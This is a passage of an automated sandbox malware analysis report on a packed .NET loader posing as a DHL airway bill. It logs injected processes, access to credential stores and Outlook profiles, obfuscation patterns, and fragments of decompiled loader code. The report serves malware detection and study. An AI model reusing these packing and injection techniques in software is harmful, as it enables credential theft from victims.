Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: mlang.dll Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: winsqlite3.dll Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32 Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ Jump to behavior
Source: Dhl-Awb 0865252 copy.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: Dhl-Awb 0865252 copy.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000012.00000002.2451160512.00000000004AE000.00000002.00000001.01000000.0000000D.sdmp, kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000015.00000002.2451165931.00000000004AE000.00000002.00000001.01000000.0000000D.sdmp
Source: Binary string: wntdll.pdbUGP source: RegSvcs.exe, 00000008.00000002.1462842042.00000000017E0000.00000040.00001000.00020000.00000000.sdmp, shutdown.exe, 00000014.00000002.2455447375.00000000039D0000.00000040.00001000.00020000.00000000.sdmp, shutdown.exe, 00000014.00000003.1462150967.000000000366D000.00000004.00000020.00020000.00000000.sdmp, shutdown.exe, 00000014.00000002.2455447375.0000000003B6E000.00000040.00001000.00020000.00000000.sdmp, shutdown.exe, 00000014.00000003.1467744623.000000000381D000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: shutdown.pdbGCTL source: RegSvcs.exe, 00000008.00000002.1462551195.0000000001377000.00000004.00000020.00020000.00000000.sdmp, kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000012.00000002.2453742039.0000000001328000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: RegSvcs.exe, RegSvcs.exe, 00000008.00000002.1462842042.00000000017E0000.00000040.00001000.00020000.00000000.sdmp, shutdown.exe, shutdown.exe, 00000014.00000002.2455447375.00000000039D0000.00000040.00001000.00020000.00000000.sdmp, shutdown.exe, 00000014.00000003.1462150967.000000000366D000.00000004.00000020.00020000.00000000.sdmp, shutdown.exe, 00000014.00000002.2455447375.0000000003B6E000.00000040.00001000.00020000.00000000.sdmp, shutdown.exe, 00000014.00000003.1467744623.000000000381D000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: shutdown.pdb source: RegSvcs.exe, 00000008.00000002.1462551195.0000000001377000.00000004.00000020.00020000.00000000.sdmp, kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000012.00000002.2453742039.0000000001328000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation
barindex
.NET source code contains method to dynamically call methods (often used by packers)
Source: Dhl-Awb 0865252 copy.exe, Form1.cs .Net Code: LateBinding.LateCall((object)methodInfo, (Type)null, "Invoke", new object[2]{0,new string[3]{BN[0],BN[1],"VPBiblioteka"}}, (string[])null, (bool[])null)
Source: 0.2.Dhl-Awb 0865252 copy.exe.51c0000.10.raw.unpack, XG.cs .Net Code: Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777298)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777243)),Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777254))})
Source: 0.2.Dhl-Awb 0865252 copy.exe.2ac8f4c.4.raw.unpack, XG.cs .Net Code: Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777298)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777243)),Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777254))})
Source: 0.2.Dhl-Awb 0865252 copy.exe.2d77c0c.3.raw.unpack, XG.cs .Net Code: Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777298)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777243)),Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777254))})
.NET source code contains potential unpacker
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, VipH6lTom0Mhg39k0B.cs .Net Code: AMJhplqJCX System.Reflection.Assembly.Load(byte[])
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, VipH6lTom0Mhg39k0B.cs .Net Code: AMJhplqJCX System.Reflection.Assembly.Load(byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_04E4AC3A push ds; iretd 0_2_04E4AC3B
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_04E4AF22 push 8B6D40BDh; retf 0_2_04E4AF29
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_0554A79D push ecx; iretd 0_2_0554A79F
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_05549872 push eax; retf 0_2_05549879
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_004235A3 pushad ; iretd 8_2_004236D1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0041C866 push ss; retf 8_2_0041C872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_00403193 push AD0710D7h; ret 8_2_0040319B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0040A4C8 push es; iretd 8_2_0040A4CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_00403480 push eax; ret 8_2_00403482
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_00417CB2 push es; retf 7F3Bh 8_2_00417CC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_00404E18 push cs; iretd 8_2_00404E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_00413E82 push edi; ret 8_2_00413E89
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_00404EBA push cs; iretd 8_2_00404EBB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0040CF00 push ecx; retf 8_2_0040CF01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_00415FD3 pushad ; retn 222Eh 8_2_004160B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_00413F8F pushad ; retf 8_2_00413F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018109AD push ecx; mov dword ptr [esp], ecx 8_2_018109B6
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Code function: 18_2_063DDC9D pushad ; iretd 18_2_063DDDCB
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Code function: 18_2_063CE689 pushad ; retf 18_2_063CE68A
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Code function: 18_2_063CE6FD push cs; retf E67Ah 18_2_063CE752
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Code function: 18_2_063D6F60 push ss; retf 18_2_063D6F6C
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Code function: 18_2_063BF512 push cs; iretd 18_2_063BF53B
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Code function: 18_2_063BF5B4 push cs; iretd 18_2_063BF5B5
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Code function: 18_2_063C75FA push ecx; retf 18_2_063C75FB
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Code function: 18_2_063C4BC2 push es; iretd 18_2_063C4BC4
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_039D225F pushad ; ret 20_2_039D27F9
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_039D27FA pushad ; ret 20_2_039D27F9
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A009AD push ecx; mov dword ptr [esp], ecx 20_2_03A009B6
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_039D283D push eax; iretd 20_2_039D2858
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_039D1368 push eax; iretd 20_2_039D1369
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_032A0120 pushad ; iretd 20_2_032A024E
Source: Dhl-Awb 0865252 copy.exe Static PE information: section name: .text entropy: 7.958955736366497
Source: 0.2.Dhl-Awb 0865252 copy.exe.51c0000.10.raw.unpack, XG.cs High entropy of concatenated method names: 'S1d', 'RgtTUJcyZL', 'n1Q', 'M1r', 'Y1a', 'U1m', 'k2an4M', 'gt', 'kU', 'rK'
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, RBW3FHeas7B1HCmh6N.cs High entropy of concatenated method names: 'ywrrd6eMXI', 'F3CrUdFHM0', 'yTXrpWsnBB', 'UG4raiRn1S', 'NUcrnWRrYa', 'kUUrKRC0tA', 'pX0rTeeiR2', 'vavrFnDXcC', 'nmcrwsmmM5', 'DHerVxSl2L'
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, GLyXgBcBc9IEWWtrPJ.cs High entropy of concatenated method names: 'Dispose', 'BYSOkTS2wG', 'To30BifUOA', 'vKiXXXtquU', 'kj4Oo9F0Dj', 'qvWOzM7b9S', 'ProcessDialogKey', 'yNP0IX4HY3', 'mJl0OVsFxY', 'qiD00jvAMn'
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, xkqGXix0jGOB5e6FDX.cs High entropy of concatenated method names: 'IMk2axYDDC', 'lgr2KQDKak', 'p2L2FHc5EQ', 'idL2w6pxb4', 'Tsy2cN7XYn', 'p1O2SNgmvQ', 'H8D29rIIuk', 'byv2tf8j8y', 'WS62CMARbI', 'syW2WsysLC'
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, RSGHPvhI1cDpOv4HvX.cs High entropy of concatenated method names: 'qu49qcpe9Y', 'jVO9obLLmG', 'I5JtILd2nB', 'GHWtOa11DY', 'UrF9MnZTKO', 'ax49vgAy2r', 'jMn9mV0Mfo', 'YH29AU3KKn', 'SSl9e7lwK5', 'hKG9Y4hUyj'
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, NDIAT6z9MCEMJfJG98.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'LWHCEFPb9u', 'TT4CcIMnkA', 'GapCSYxJfb', 'dyEC91hd2S', 'ztdCtc1gxC', 'g2cCCO1rBp', 'HfvCWsH3ky'
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, MKUqtZSmHqwaQODI3V.cs High entropy of concatenated method names: 'oj4cyhdEtf', 'e2Gcv5KUdS', 'wfccArHc6I', 'y66ceyvwBV', 'wqfcBvXxnJ', 'AKfcixnRYX', 'ss3cD3g5Mo', 'KVwcGTbKs0', 'gaZcg1M0hL', 'W1FcfqoHmL'
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, YAXBte7S3gxWq4EcxR.cs High entropy of concatenated method names: 'Caw4njyETR', 'sm64TclJsy', 'tR82iXwgJC', 'dTe2DErO9n', 'VPc2GlCRLi', 'tU72gYNmU4', 'zB72fIn4IP', 'Bvq2jHdCU7', 'MFa2PJfJ66', 'V642ygRUdi'
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, lF6W424GyrLPqtjysQ.cs High entropy of concatenated method names: 'AjmrNAHyaf', 'VIBr2uVN8P', 'VBdrL3Q9sG', 'KHaLolsoDu', 'aK0Lzhl1ME', 'Wy7rIjy9Bb', 'kbUrOEf2YW', 'qfgr0PMCCq', 'EpPrsgKjbQ', 'zgarhTkg95'
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, g1LAYPt7u0nlZ7UnC7.cs High entropy of concatenated method names: 'UMOpYNhmD', 'he5aXLAr2', 'EmNK49VyV', 'iNeT3ZdZG', 'S5twu0y8I', 'r1FV3JhY4', 'ajlHSaAbB4TndIYoS4', 'ODn6wxGrByq2EryZ7M', 'YditEXUtP', 'kypWymjDi'
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, j4dEImZEggyyaqbXIT.cs High entropy of concatenated method names: 'hp3tNPtoXt', 'VH5tH2RYOK', 'Oygt2HiPHs', 'BuZt40ptk1', 'tdrtLfUo9c', 'HgmtrS6baq', 'II7tR8XilG', 'vUnt7NGogf', 'FvFtb692LX', 'ntMt3NSD3x'
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, JkI5ZI10v1h0hQMlAf.cs High entropy of concatenated method names: 'D7mEFM8H14', 'Y7UEwkcTef', 'HlsE1saDP7', 'P55EBWqP8i', 'LZaEDH0AsA', 'tGIEGfnSFp', 'kVGEfM6VxS', 'xEEEjU5RNH', 'Te2EyF8voV', 'RFFEMolkqe'
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, OUcLrpEHXRwDFo0jmR.cs High entropy of concatenated method names: 'LMSHABBolM', 'fE3HeCTCgw', 'BE9HYyeVyG', 'qVRHlmXsCe', 'RHdHZabyBA', 'PygH6bqxh2', 'abgH8nLKZ1', 'reOHqCMFbH', 'MkyHkonJYq', 'TMwHoh9uhe'
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, cXA15uidwlJQICW6N8R.cs High entropy of concatenated method names: 'V5OCdRpNbF', 'UECCUtVDNx', 'MVpCpljIGK', 'UOKCahujEd', 'xUNCnw7q2I', 'VAACKQE1CL', 'uhPCTQkVB6', 'WoaCFahyNM', 'afvCw5x7NF', 'pCMCVT7J0S'
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, XrB58lM9N0syPWH9xR.cs High entropy of concatenated method names: 'sOVL5uDmv6', 'oOSLHmR93Q', 'ciXL4Jb8SV', 'qiRLr6ZyiH', 'kt0LRFROnx', 'LIX4ZmjSQl', 'bv9466qqP0', 'waZ48lNxI2', 'BnX4qKslAQ', 'dsj4k4wRUB'
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, VipH6lTom0Mhg39k0B.cs High entropy of concatenated method names: 'AlEs5JHDdd', 'leosNDJTHA', 'wvpsHutgoL', 'vGYs2ewRRj', 'IuGs4OZC8B', 'v5xsL7rJDk', 'TZvsrkaMlF', 'qFFsRnTbcX', 'xnAs76YIaJ', 'tqksb22awK'
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, pviVeTnPttpC16qZU0.cs High entropy of concatenated method names: 'pcu9bHZBdp', 'gkP93vu0Di', 'ToString', 'zLs9NEM5Wp', 'Ggn9HCFZGj', 'csb92IQeE3', 'QQI94H5u9j', 'eks9LZqhQN', 'QyP9rt8SOW', 'arF9RWVysC'
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, wVbyp03AQx87iwVPXD.cs High entropy of concatenated method names: 'D2gCOm82lh', 'dDRCsml99f', 'DyFCh2JG1E', 'k4uCNhEMnu', 'z53CHQ9D5j', 'JgoC4V2Egb', 'jd1CLSLE6Y', 'BRgt81SDiV', 'nlPtqfhZ0W', 'XsTtkrnRsF'
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, yagTFdiWtk9ocTFWGlr.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Cw0WA8QNTv', 'CcuWeaY6ec', 'yR8WYF4F0K', 'vpAWlk4TZA', 'GspWZA9yso', 'oRIW6aIda3', 'brAW80Qjcs'
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, eZoY2l6iS1FvyEUkb5.cs High entropy of concatenated method names: 'OH8OrL4FPK', 'vnGORvUyVB', 'f4IObjTS3C', 'JddO3qbnI8', 'u5gOcLIxQ1', 'Gx5OSbFfVF', 'zPqlSFPNsSrJXYPxRW', 'XJjJgqLjGYxSkVNtbi', 'OYvOOJ94Jj', 'gHbOs3vifH'
Source: 0.2.Dhl-Awb 0865252 copy.exe.2ac8f4c.4.raw.unpack, XG.cs High entropy of concatenated method names: 'S1d', 'RgtTUJcyZL', 'n1Q', 'M1r', 'Y1a', 'U1m', 'k2an4M', 'gt', 'kU', 'rK'
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, RBW3FHeas7B1HCmh6N.cs High entropy of concatenated method names: 'ywrrd6eMXI', 'F3CrUdFHM0', 'yTXrpWsnBB', 'UG4raiRn1S', 'NUcrnWRrYa', 'kUUrKRC0tA', 'pX0rTeeiR2', 'vavrFnDXcC', 'nmcrwsmmM5', 'DHerVxSl2L'
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, GLyXgBcBc9IEWWtrPJ.cs High entropy of concatenated method names: 'Dispose', 'BYSOkTS2wG', 'To30BifUOA', 'vKiXXXtquU', 'kj4Oo9F0Dj', 'qvWOzM7b9S', 'ProcessDialogKey', 'yNP0IX4HY3', 'mJl0OVsFxY', 'qiD00jvAMn'
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, xkqGXix0jGOB5e6FDX.cs High entropy of concatenated method names: 'IMk2axYDDC', 'lgr2KQDKak', 'p2L2FHc5EQ', 'idL2w6pxb4', 'Tsy2cN7XYn', 'p1O2SNgmvQ', 'H8D29rIIuk', 'byv2tf8j8y', 'WS62CMARbI', 'syW2WsysLC'
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, RSGHPvhI1cDpOv4HvX.cs High entropy of concatenated method names: 'qu49qcpe9Y', 'jVO9obLLmG', 'I5JtILd2nB', 'GHWtOa11DY', 'UrF9MnZTKO', 'ax49vgAy2r', 'jMn9mV0Mfo', 'YH29AU3KKn', 'SSl9e7lwK5', 'hKG9Y4hUyj'
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, NDIAT6z9MCEMJfJG98.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'LWHCEFPb9u', 'TT4CcIMnkA', 'GapCSYxJfb', 'dyEC91hd2S', 'ztdCtc1gxC', 'g2cCCO1rBp', 'HfvCWsH3ky'
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, MKUqtZSmHqwaQODI3V.cs High entropy of concatenated method names: 'oj4cyhdEtf', 'e2Gcv5KUdS', 'wfccArHc6I', 'y66ceyvwBV', 'wqfcBvXxnJ', 'AKfcixnRYX', 'ss3cD3g5Mo', 'KVwcGTbKs0', 'gaZcg1M0hL', 'W1FcfqoHmL'
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, YAXBte7S3gxWq4EcxR.cs High entropy of concatenated method names: 'Caw4njyETR', 'sm64TclJsy', 'tR82iXwgJC', 'dTe2DErO9n', 'VPc2GlCRLi', 'tU72gYNmU4', 'zB72fIn4IP', 'Bvq2jHdCU7', 'MFa2PJfJ66', 'V642ygRUdi'
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, lF6W424GyrLPqtjysQ.cs High entropy of concatenated method names: 'AjmrNAHyaf', 'VIBr2uVN8P', 'VBdrL3Q9sG', 'KHaLolsoDu', 'aK0Lzhl1ME', 'Wy7rIjy9Bb', 'kbUrOEf2YW', 'qfgr0PMCCq', 'EpPrsgKjbQ', 'zgarhTkg95'
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, g1LAYPt7u0nlZ7UnC7.cs High entropy of concatenated method names: 'UMOpYNhmD', 'he5aXLAr2', 'EmNK49VyV', 'iNeT3ZdZG', 'S5twu0y8I', 'r1FV3JhY4', 'ajlHSaAbB4TndIYoS4', 'ODn6wxGrByq2EryZ7M', 'YditEXUtP', 'kypWymjDi'
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, j4dEImZEggyyaqbXIT.cs High entropy of concatenated method names: 'hp3tNPtoXt', 'VH5tH2RYOK', 'Oygt2HiPHs', 'BuZt40ptk1', 'tdrtLfUo9c', 'HgmtrS6baq', 'II7tR8XilG', 'vUnt7NGogf', 'FvFtb692LX', 'ntMt3NSD3x'
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, JkI5ZI10v1h0hQMlAf.cs High entropy of concatenated method names: 'D7mEFM8H14', 'Y7UEwkcTef', 'HlsE1saDP7', 'P55EBWqP8i', 'LZaEDH0AsA', 'tGIEGfnSFp', 'kVGEfM6VxS', 'xEEEjU5RNH', 'Te2EyF8voV', 'RFFEMolkqe'
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, OUcLrpEHXRwDFo0jmR.cs High entropy of concatenated method names: 'LMSHABBolM', 'fE3HeCTCgw', 'BE9HYyeVyG', 'qVRHlmXsCe', 'RHdHZabyBA', 'PygH6bqxh2', 'abgH8nLKZ1', 'reOHqCMFbH', 'MkyHkonJYq', 'TMwHoh9uhe'
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, cXA15uidwlJQICW6N8R.cs High entropy of concatenated method names: 'V5OCdRpNbF', 'UECCUtVDNx', 'MVpCpljIGK', 'UOKCahujEd', 'xUNCnw7q2I', 'VAACKQE1CL', 'uhPCTQkVB6', 'WoaCFahyNM', 'afvCw5x7NF', 'pCMCVT7J0S'
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, XrB58lM9N0syPWH9xR.cs High entropy of concatenated method names: 'sOVL5uDmv6', 'oOSLHmR93Q', 'ciXL4Jb8SV', 'qiRLr6ZyiH', 'kt0LRFROnx', 'LIX4ZmjSQl', 'bv9466qqP0', 'waZ48lNxI2', 'BnX4qKslAQ', 'dsj4k4wRUB'
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, VipH6lTom0Mhg39k0B.cs High entropy of concatenated method names: 'AlEs5JHDdd', 'leosNDJTHA', 'wvpsHutgoL', 'vGYs2ewRRj', 'IuGs4OZC8B', 'v5xsL7rJDk', 'TZvsrkaMlF', 'qFFsRnTbcX', 'xnAs76YIaJ', 'tqksb22awK'
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, pviVeTnPttpC16qZU0.cs High entropy of concatenated method names: 'pcu9bHZBdp', 'gkP93vu0Di', 'ToString', 'zLs9NEM5Wp', 'Ggn9HCFZGj', 'csb92IQeE3', 'QQI94H5u9j', 'eks9LZqhQN', 'QyP9rt8SOW', 'arF9RWVysC'
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, wVbyp03AQx87iwVPXD.cs High entropy of concatenated method names: 'D2gCOm82lh', 'dDRCsml99f', 'DyFCh2JG1E', 'k4uCNhEMnu', 'z53CHQ9D5j', 'JgoC4V2Egb', 'jd1CLSLE6Y', 'BRgt81SDiV', 'nlPtqfhZ0W', 'XsTtkrnRsF'
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, yagTFdiWtk9ocTFWGlr.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Cw0WA8QNTv', 'CcuWeaY6ec', 'yR8WYF4F0K', 'vpAWlk4TZA', 'GspWZA9yso', 'oRIW6aIda3', 'brAW80Qjcs'
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, eZoY2l6iS1FvyEUkb5.cs High entropy of concatenated method names: 'OH8OrL4FPK', 'vnGORvUyVB', 'f4IObjTS3C', 'JddO3qbnI8', 'u5gOcLIxQ1', 'Gx5OSbFfVF', 'zPqlSFPNsSrJXYPxRW', 'XJjJgqLjGYxSkVNtbi', 'OYvOOJ94Jj', 'gHbOs3vifH'
Source: 0.2.Dhl-Awb 0865252 copy.exe.2d77c0c.3.raw.unpack, XG.cs High entropy of concatenated method names: 'S1d', 'RgtTUJcyZL', 'n1Q', 'M1r', 'Y1a', 'U1m', 'k2an4M', 'gt', 'kU', 'rK'

Hooking and other Techniques for Hiding and Protection
barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
